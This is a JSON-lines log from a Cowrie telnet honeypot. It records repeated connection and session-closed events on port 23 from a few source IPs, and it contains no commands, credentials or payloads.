{"eventid":"cowrie.session.closed","duration":31.349083185195923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:40.748256Z","src_ip":"208.115.200.90","session":"365e1296d379","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82072138786316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:41.216963Z","src_ip":"208.115.200.90","session":"c84a8d91c597","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82709002494812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:41.359503Z","src_ip":"208.115.200.90","session":"f831edc4ba10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21592950820923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:42.028605Z","src_ip":"208.115.200.90","session":"9dfbc50c5955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47450,"dst_ip":"10.17.0.5","dst_port":23,"session":"59baade5110d","protocol":"telnet","message":"New connection: 208.115.200.90:47450 (10.17.0.5:23) [session: 59baade5110d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:42.217771Z"}
{"eventid":"cowrie.session.closed","duration":30.891260862350464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:42.281116Z","src_ip":"208.115.200.90","session":"408761a97d60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77386784553528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:42.457686Z","src_ip":"208.115.200.90","session":"64f36e20585c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":56618,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d06ba5a9b8c","protocol":"telnet","message":"New connection: 192.119.108.58:56618 (159.203.135.109:23) [session: 4d06ba5a9b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.049254Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":56660,"dst_ip":"159.203.135.109","dst_port":23,"session":"6affa80549cf","protocol":"telnet","message":"New connection: 192.119.108.58:56660 (159.203.135.109:23) [session: 6affa80549cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.085760Z"}
{"eventid":"cowrie.session.closed","duration":30.453153371810913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.106322Z","src_ip":"208.115.200.90","session":"ef3674aa0cee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101566314697266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.112800Z","src_ip":"208.115.200.90","session":"264e282d1d40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3626127243042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.232309Z","src_ip":"208.115.200.90","session":"aca39ddfbb56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55656,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e73353cc8bc","protocol":"telnet","message":"New connection: 208.115.219.122:55656 (10.17.0.5:23) [session: 7e73353cc8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.544695Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57102,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfd84bafdeec","protocol":"telnet","message":"New connection: 192.119.108.58:57102 (159.203.135.109:23) [session: dfd84bafdeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.646272Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":50430,"dst_ip":"159.203.135.109","dst_port":23,"session":"bef1fcf1bd07","protocol":"telnet","message":"New connection: 162.241.141.97:50430 (159.203.135.109:23) [session: bef1fcf1bd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.697202Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":56414,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5d2c773a857","protocol":"telnet","message":"New connection: 192.119.108.58:56414 (159.203.135.109:23) [session: f5d2c773a857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.766518Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57324,"dst_ip":"159.203.135.109","dst_port":23,"session":"b753df37853b","protocol":"telnet","message":"New connection: 192.119.108.58:57324 (159.203.135.109:23) [session: b753df37853b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.894990Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57340,"dst_ip":"159.203.135.109","dst_port":23,"session":"61081d74409a","protocol":"telnet","message":"New connection: 192.119.108.58:57340 (159.203.135.109:23) [session: 61081d74409a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:43.925065Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52646,"dst_ip":"159.203.135.109","dst_port":23,"session":"9353d890b1ba","protocol":"telnet","message":"New connection: 162.241.141.97:52646 (159.203.135.109:23) [session: 9353d890b1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:44.597349Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52974,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8bea1d59281","protocol":"telnet","message":"New connection: 162.241.141.97:52974 (159.203.135.109:23) [session: a8bea1d59281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:44.701228Z"}
{"eventid":"cowrie.session.closed","duration":30.365434885025024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:45.199156Z","src_ip":"208.115.200.90","session":"c647abc09512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48738,"dst_ip":"10.17.0.5","dst_port":23,"session":"8816be3c1b5f","protocol":"telnet","message":"New connection: 208.115.200.90:48738 (10.17.0.5:23) [session: 8816be3c1b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:45.318526Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":55064,"dst_ip":"159.203.135.109","dst_port":23,"session":"37b70159a7b8","protocol":"telnet","message":"New connection: 162.241.141.97:55064 (159.203.135.109:23) [session: 37b70159a7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:45.460736Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48744,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec54dad92c97","protocol":"telnet","message":"New connection: 208.115.200.90:48744 (10.17.0.5:23) [session: ec54dad92c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:46.345843Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57142,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4b9ab781105","protocol":"telnet","message":"New connection: 192.119.108.58:57142 (159.203.135.109:23) [session: d4b9ab781105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:46.688233Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48756,"dst_ip":"10.17.0.5","dst_port":23,"session":"63f11549b405","protocol":"telnet","message":"New connection: 208.115.200.90:48756 (10.17.0.5:23) [session: 63f11549b405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:46.784211Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48764,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc4f1914bd8","protocol":"telnet","message":"New connection: 208.115.200.90:48764 (10.17.0.5:23) [session: fcc4f1914bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:46.790887Z"}
{"eventid":"cowrie.session.closed","duration":31.10469913482666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:47.469550Z","src_ip":"208.115.200.90","session":"8d9dabcf3b30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48772,"dst_ip":"10.17.0.5","dst_port":23,"session":"94be38c40a97","protocol":"telnet","message":"New connection: 208.115.200.90:48772 (10.17.0.5:23) [session: 94be38c40a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:47.846628Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":32802,"dst_ip":"159.203.135.109","dst_port":23,"session":"77b680ebde98","protocol":"telnet","message":"New connection: 192.119.108.58:32802 (159.203.135.109:23) [session: 77b680ebde98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:47.916917Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":32862,"dst_ip":"159.203.135.109","dst_port":23,"session":"2352760176d2","protocol":"telnet","message":"New connection: 192.119.108.58:32862 (159.203.135.109:23) [session: 2352760176d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:47.967026Z"}
{"eventid":"cowrie.session.closed","duration":30.288392782211304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:48.074570Z","src_ip":"208.115.200.90","session":"a50b6065025c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48780,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e8249cfa577","protocol":"telnet","message":"New connection: 208.115.200.90:48780 (10.17.0.5:23) [session: 5e8249cfa577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:48.812396Z"}
{"eventid":"cowrie.session.closed","duration":31.763464212417603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:48.822190Z","src_ip":"208.115.200.90","session":"9413e43ee366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33936,"dst_ip":"159.203.135.109","dst_port":23,"session":"b55c09285041","protocol":"telnet","message":"New connection: 192.119.108.58:33936 (159.203.135.109:23) [session: b55c09285041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.070627Z"}
{"eventid":"cowrie.session.closed","duration":30.76355242729187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.140853Z","src_ip":"208.115.200.90","session":"9bf983951361","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59366,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd8380dd057c","protocol":"telnet","message":"New connection: 192.119.108.58:59366 (159.203.135.109:23) [session: bd8380dd057c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.222496Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33072,"dst_ip":"159.203.135.109","dst_port":23,"session":"b52bb2b3137a","protocol":"telnet","message":"New connection: 192.119.108.58:33072 (159.203.135.109:23) [session: b52bb2b3137a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.227789Z"}
{"eventid":"cowrie.session.closed","duration":30.97021508216858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.394607Z","src_ip":"208.115.200.90","session":"2561d56b9407","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873826265335083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.404570Z","src_ip":"208.115.200.90","session":"3ccf1e1b2962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34738,"dst_ip":"159.203.135.109","dst_port":23,"session":"aabcbc4a966f","protocol":"telnet","message":"New connection: 192.119.108.58:34738 (159.203.135.109:23) [session: aabcbc4a966f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.794688Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":59728,"dst_ip":"159.203.135.109","dst_port":23,"session":"f97a0dae739a","protocol":"telnet","message":"New connection: 162.241.141.97:59728 (159.203.135.109:23) [session: f97a0dae739a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.904875Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34864,"dst_ip":"159.203.135.109","dst_port":23,"session":"44e2db936617","protocol":"telnet","message":"New connection: 192.119.108.58:34864 (159.203.135.109:23) [session: 44e2db936617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.933955Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34884,"dst_ip":"159.203.135.109","dst_port":23,"session":"50d6cd9c6b2c","protocol":"telnet","message":"New connection: 192.119.108.58:34884 (159.203.135.109:23) [session: 50d6cd9c6b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.941655Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34956,"dst_ip":"159.203.135.109","dst_port":23,"session":"6668a308e14e","protocol":"telnet","message":"New connection: 192.119.108.58:34956 (159.203.135.109:23) [session: 6668a308e14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:49.985924Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":60544,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cb2354ae11e","protocol":"telnet","message":"New connection: 162.241.141.97:60544 (159.203.135.109:23) [session: 0cb2354ae11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:50.286961Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34740,"dst_ip":"159.203.135.109","dst_port":23,"session":"896b8a581ab9","protocol":"telnet","message":"New connection: 192.119.108.58:34740 (159.203.135.109:23) [session: 896b8a581ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:50.799739Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48796,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ab1aaca488","protocol":"telnet","message":"New connection: 208.115.200.90:48796 (10.17.0.5:23) [session: f6ab1aaca488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:50.813284Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":34950,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ce96ec3cb9","protocol":"telnet","message":"New connection: 162.241.141.97:34950 (159.203.135.109:23) [session: f6ce96ec3cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:51.257805Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35428,"dst_ip":"159.203.135.109","dst_port":23,"session":"944e3352b606","protocol":"telnet","message":"New connection: 192.119.108.58:35428 (159.203.135.109:23) [session: 944e3352b606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:51.346111Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37552,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1eaede42fa6","protocol":"telnet","message":"New connection: 192.119.108.58:37552 (159.203.135.109:23) [session: b1eaede42fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:51.992729Z"}
{"eventid":"cowrie.session.closed","duration":31.029040575027466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:52.166324Z","src_ip":"208.115.200.90","session":"071a924d3648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100280284881592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:52.353026Z","src_ip":"208.115.200.90","session":"96774b6476ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939152240753174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:52.456878Z","src_ip":"208.115.200.90","session":"105d61815510","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48812,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae04d473128","protocol":"telnet","message":"New connection: 208.115.200.90:48812 (10.17.0.5:23) [session: 4ae04d473128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:53.478778Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39464,"dst_ip":"159.203.135.109","dst_port":23,"session":"0326d3ff7ae9","protocol":"telnet","message":"New connection: 192.119.108.58:39464 (159.203.135.109:23) [session: 0326d3ff7ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:53.663103Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39796,"dst_ip":"159.203.135.109","dst_port":23,"session":"9656829d8c93","protocol":"telnet","message":"New connection: 192.119.108.58:39796 (159.203.135.109:23) [session: 9656829d8c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:53.993114Z"}
{"eventid":"cowrie.session.closed","duration":30.73968195915222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:54.065762Z","src_ip":"208.115.200.90","session":"9ab8380fa921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39910,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c1ff9e1e533","protocol":"telnet","message":"New connection: 192.119.108.58:39910 (159.203.135.109:23) [session: 0c1ff9e1e533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:54.113116Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40084,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d89b33d3dba","protocol":"telnet","message":"New connection: 192.119.108.58:40084 (159.203.135.109:23) [session: 1d89b33d3dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:54.273343Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36780,"dst_ip":"159.203.135.109","dst_port":23,"session":"3da877215df3","protocol":"telnet","message":"New connection: 192.119.108.58:36780 (159.203.135.109:23) [session: 3da877215df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:54.394869Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39132,"dst_ip":"159.203.135.109","dst_port":23,"session":"4219d7e8da59","protocol":"telnet","message":"New connection: 192.119.108.58:39132 (159.203.135.109:23) [session: 4219d7e8da59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:54.420613Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40470,"dst_ip":"159.203.135.109","dst_port":23,"session":"33b1cfe9c603","protocol":"telnet","message":"New connection: 192.119.108.58:40470 (159.203.135.109:23) [session: 33b1cfe9c603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:54.506977Z"}
{"eventid":"cowrie.session.closed","duration":31.302881479263306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:54.560755Z","src_ip":"208.115.200.90","session":"3aa36ae60b52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34260,"dst_ip":"10.17.0.5","dst_port":23,"session":"652c9235f95a","protocol":"telnet","message":"New connection: 208.115.200.90:34260 (10.17.0.5:23) [session: 652c9235f95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:54.571307Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40528,"dst_ip":"159.203.135.109","dst_port":23,"session":"f67b4a2c31e6","protocol":"telnet","message":"New connection: 192.119.108.58:40528 (159.203.135.109:23) [session: f67b4a2c31e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:54.579211Z"}
{"eventid":"cowrie.session.closed","duration":30.50009512901306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:55.160590Z","src_ip":"208.115.200.90","session":"35720c0967e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34272,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c04a04850c4","protocol":"telnet","message":"New connection: 208.115.200.90:34272 (10.17.0.5:23) [session: 2c04a04850c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:55.478710Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40742,"dst_ip":"159.203.135.109","dst_port":23,"session":"889c769f051d","protocol":"telnet","message":"New connection: 192.119.108.58:40742 (159.203.135.109:23) [session: 889c769f051d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:55.789949Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39452,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9513274ce98","protocol":"telnet","message":"New connection: 192.119.108.58:39452 (159.203.135.109:23) [session: b9513274ce98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:56.656517Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41982,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fab11152074","protocol":"telnet","message":"New connection: 192.119.108.58:41982 (159.203.135.109:23) [session: 0fab11152074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:56.782780Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44336,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab65eaa2878","protocol":"telnet","message":"New connection: 162.241.141.97:44336 (159.203.135.109:23) [session: 8ab65eaa2878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:57.112915Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34288,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5f02c61b76d","protocol":"telnet","message":"New connection: 208.115.200.90:34288 (10.17.0.5:23) [session: d5f02c61b76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:57.260553Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":45346,"dst_ip":"159.203.135.109","dst_port":23,"session":"e60473d06622","protocol":"telnet","message":"New connection: 162.241.141.97:45346 (159.203.135.109:23) [session: e60473d06622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:57.399074Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40730,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cb346401b6c","protocol":"telnet","message":"New connection: 192.119.108.58:40730 (159.203.135.109:23) [session: 1cb346401b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:57.783874Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34298,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8119f633944","protocol":"telnet","message":"New connection: 208.115.200.90:34298 (10.17.0.5:23) [session: c8119f633944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:57.905020Z"}
{"eventid":"cowrie.session.closed","duration":30.373077154159546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:58.030634Z","src_ip":"208.115.200.90","session":"a7e8c1b5e290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999757289886475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:58.116283Z","src_ip":"208.115.200.90","session":"2b5d532ef160","protocol":"telnet"}
